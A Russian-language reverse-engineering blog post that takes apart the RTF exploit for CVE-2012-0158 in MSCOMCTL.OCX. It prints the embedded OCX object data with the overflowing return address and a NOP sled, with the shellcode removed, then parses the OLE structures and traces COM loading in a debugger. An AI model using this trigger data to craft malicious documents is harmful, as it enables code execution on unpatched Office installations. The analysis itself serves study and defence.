Исследуем эксплоит CVE-2012-0158

Дата публикации 29 мар 2019 | Редактировалось 17 май 2019
Всем привет. Сегодня мы будем исследовать rtf эксплоит CVE-2012-0158, и посмотрим как он работает изнутри. Для исследований нам понадобится хекс редактор (я использую 010-Editor), отладчик (я использую OllyDbg) и просмотрщик составных OLE файлов (я использую SS Viewer). Для тестирования - Word 2007. Итак приступим.
В описании написано что эксплоит использует переполнение буфера для запуска кода в стеке используя уязвимость в MSCOMCTL.OCX, подменяя адрес возврата. Данные для исследования возьмем отсюда. Как видно из кода продуцируемый rtf состоит из 3 частей, статической части, шеллкода и адреса возврата. Шеллкод нам не нужен, т.к. запускать мы ничего не будем, нам нужен только адрес возврата.
Формируем rtf документ используя адрес возврата для Office 2007, т.е. 0x27583c30 (назначение станет ясно позднее). Перед тем как формировать документ убираем все лишние теги, оставив только теги и данные внедренного OCX объекта:
Код (Text):
  1. {\rtf1{\object\objocx{\*\objdata
  2. 01050000020000001B0000004D53436F6D63746C4C69622E4C697374566965774374726C2E320000
  3. 00000000000000000E0000
  4. D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF09000600000000000000
  5. 00000000010000000100000000000000001000000200000001000000FEFFFFFF0000000000000000
  6. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  7. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  8. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  9. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  10. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  11. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  12. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  13. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  14. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  15. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  16. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFEFFFFFF
  17. FEFFFFFF0400000005000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  18. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  19. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  20. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  21. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  22. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  23. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  24. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  25. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  26. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  27. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  28. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  29. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF52006F006F007400200045006E007400
  30. 72007900000000000000000000000000000000000000000000000000000000000000000000000000
  31. 000000000000000016000500FFFFFFFFFFFFFFFF020000004BF0D1BD8B85D111B16A00C0F0283628
  32. 0000000062eaDFB9340DCD014559DFB9340DCD0103000000000600000000000003004F0062006A00
  33. 49006E0066006F000000000000000000000000000000000000000000000000000000000000000000
  34. 0000000000000000000000000000000012000200FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000
  35. 00000000000000000000000000000000000000000000000000000000000000000600000000000000
  36. 03004F00430058004E0041004D004500000000000000000000000000000000000000000000000000
  37. 000000000000000000000000000000000000000000000000120002010100000003000000FFFFFFFF
  38. 00000000000000000000000000000000000000000000000000000000000000000000000001000000
  39. 160000000000000043006F006E00740065006E007400730000000000000000000000000000000000
  40. 000000000000000000000000000000000000000000000000000000000000000012000200FFFFFFFF
  41. FFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000
  42. 00000000020000007E05000000000000FEFFFFFFFEFFFFFF03000000040000000500000006000000
  43. 0700000008000000090000000A0000000B0000000C0000000D0000000E0000000F00000010000000
  44. 11000000120000001300000014000000150000001600000017000000FEFFFFFFFFFFFFFFFFFFFFFF
  45. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  46. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  47. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  48. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  49. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  50. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  51. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  52. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  53. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  54. FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  55. FFFFFFFFFFFFFFFF0092030004000000000000000000000000000000000000000000000000000000
  56. 00000000000000000000000000000000000000000000000000000000000000004C00690073007400
  57. 56006900650077004100000000000000000000000000000000000000000000000000000000000000
  58. 0000000000000000000000000000000021433412080000006ab0822cbb0500004E087DEB01000600
  59. 1C000000000000000000000000060001560A000001EFCDAB00000500985D65010700000008000080
  60. 05000080000000000000000000000000000000001FDEECBD01000500901719000000080000004974
  61. 6D736400000002000000010000000C000000436F626A640000008282000082820000000000000000
  62. 000000000000
  63. 303C5827
  64. 9090909090909090
  65. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  66. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  67. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  68. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  69. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  70. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  71. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  72. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  73. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  74. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  75. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  76. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  77. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  78. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  79. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  80. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  81. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  82. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  83. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  84. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  85. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  86. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  87. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  88. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  89. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  90. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  91. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  92. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  93. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  94. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  95. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  96. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  97. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  98. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  99. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  100. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  101. 00000000000000000000000000000000000000000000000000000000000000000000000000000000
  102. 00000000000000}}}
Исходя из
спецификации RTF формата мы видим что документ содержит OCX объект, данные внедренного объекта хранятся в секции objdata. Теперь нужно определится с форматом данных который также описан в спецификации. В самом начале располагается заголовок ObjectHeader. Первые 4 байта игнорируются исходя из спецификации, далее идет поле FormatID которое у нас равно 0x00000002 что означает что после заголовка идет структура EmbeddedObject. Далее идет ANSI строка с именем класса объекта предваренная длиной строки. В нашем случае длина равна 0x0000001B, следовательно выделяем кусок данных длиной 27 байт следующий за длиной (не забываем что байт в данном случае 2 символа, т.е. итоговая длина 54 байта), копируем его и вставляем его как бинарные хекс-данные, получаем:
Код (Text):
  1. MSComctlLib.ListViewCtrl.2
Это ProgID ActiveX контрола ListView из библиотеки MSCOMCTL.OCX. Все правильно. Далее идут TopicName и ItemName которые в данном случае занулены. Теперь исходя из значения поля FormatID получаем что заголовок - это первое поле структуры EmbeddedObject. Следующее поле NativeDataSize содержит размер данных объекта ListView которые идут далее. В нашем случае это поле содержит значение 0x00000E00. Стоит отметить, т.к. мы не копировали шеллкод то это поле будет содержать некорректное значение. Сами данные представляют собой ObjectPool хранилище которое является данными в формате составных OLE файлов (OLE Compound File). Для просмотра содержимого переведем 0xE00 байт данных в бинарный формат. Поскольку размер данных меньше (из-за отсутствия шеллкода), скопируем все данные, а размер потом подправим. Получившийся файл откроем с помощью просмотрщика составных файлов. При открытии видим 3 потока (далее стримы):
[​IMG]
Если посмотреть на спецификацию, то первый интересующий нас стрим имеет имя \003ObjInfo. Содержимое этого стрима представляет собой 6-ти байтовую структуру ODT:
Код (Text):
  1. 00 92 03 00 04 00
Первые два байта это структура ODTPersist1, анализируя поля видим что 0x9200 соответствует fRecomposeOnResize | fOCX | fViewObject. Далее следуют поля cf и ODTPersist2 которые нам не важны в данном случае.
Сами данные объекта хранятся в стриме Contents, формат данных для каждого контрола свой и представляет из себя информацию сохраненную посредством вызова IPersistStream::Save. Также если мы посмотрим на данные то увидим что как раз там то и хранится адрес возврата и шеллкод (можно увидеть по группе байтов 0x90). К сожалению формат этих данных нигде не документирован (по крайней мере я не нашел описание), поэтому воспользуемся отладчиком для определения структуры посредством реверс-инжиниринга. Загружаем WORD в отладчик. Чтобы получить доступ к объекту ListView, поставим брейкпоинт на функцию CoGetClassObject и открываем документ:
[​IMG]
Отладчик перехватил вызов, начнем анализировать параметры:
[​IMG]
0x00151F54 - CLSID = {BDD1F04B-858B-11D1-B16A-00C0F0283628} MSComctlLib.ListViewCtrl.2
0x618F386C - IID = {B196B28F-BAB4-101A-B69C-00AA00341D07} IClassFactory2
0x00151EF0 - адрес, куда будет записан указатель на созданный объект фабрики классов.
Прогоняем процедуру и смотрим что записалось по адресу 0x00151EF0:
[​IMG]
Это указатель на созданный объект с интерфейсом IClassFactory2. Далее шагая по коду видно что проверяется статус вызова и вызов метода IClassFactory2::GetLicInfo:
[​IMG]
Этот метод заполняет структуру LICINFO информацией о лицензировании:
Код (Text):
  1.     typedef struct LICINFO {
  2.         LONG cbLicInfo;
  3.         BOOL fRuntimeKeyAvail;
  4.         BOOL fLicVerified;
  5.     } LICINFO;
Далее следует код проверяющий поле fLicVerified, и если оно установлено в true выполняется процедура по адресу 0x6160B304:
[​IMG]
Если прогнать код через метод, то в моем случае он заполняет поля fRuntimeKeyAvail и fLicVerified в true. Когда установлено fLicVerified то объект может быть создан посредством вызова IClassFactory::CreateInstance. Заглянув в процедуру 0x6160B304 видим что вызывается CoCreateInstance где уже создается объектMSComctlLib.ListViewCtrl.2, но запрашивается уже интерфейс IUnknown:
[​IMG]
Теперь ставим брейкпоинт на метод IUnknown::QueryInterface, для того чтобы найти таблицу методов IPersist. Также это можно сделать просто анализируя код метода QueryInterface. Найти таблицу очень просто, первый DWORD на который ссылается указатель на созданный объект является адресом виртуальной таблицей методов. Первый метод - QueryInterface:
[​IMG]
При вызове этого метода, анализируем второй параметр - это указатель на IID интерфейса который запрашивается. Нам нужны только интерфейсы группы IPersist. В моем случае запрашивается интерфейс {0000010A-0000-0000-C000-000000000046} - IPersistStorage. Смотрим третий параметр, туда будет сохранен указатель на указатель на таблицу методов данного интерфейса:
[​IMG]
То что нам и требовалось. Для загрузки состояния используется метод Load который принимает в качестве параметра IStorage объект который как раз размещен в составном файле. Ставим брейкпоинт на этот метод и жмем F9, отладчик остановится на первой инструкции метода. Анализируя листинг видим, что сначала открывается стрим (IStorage::OpenStream) из хранилища с именем "Contents". При успехе вызывается COM-метод интерфейса, находящегося по смещению -4 от интерфейса IPersistStorage:
[​IMG]
Нужно определить что это за интерфейс. Очевидно что это либо интерфейс IPersistStream либо IPersistStreamInit, так как предыдущий код извлекает IStream интерфейс из хранилища. Легко увидеть что два этих интерфейса различаются количеством методов, а в виртуальной таблице есть 9 записей (10-я нулевая). 9 методов имеет метод IPersistStreamInit, ставим метки сразу для этого интерфейса, а также для IStream интерфейса извлеченного методом IStorage::OpenStream:
[​IMG]



Продолжение следует...

0 2.599
Thetrik

Thetrik
UA6527P

Регистрация:
25 июл 2011
Публикаций:
0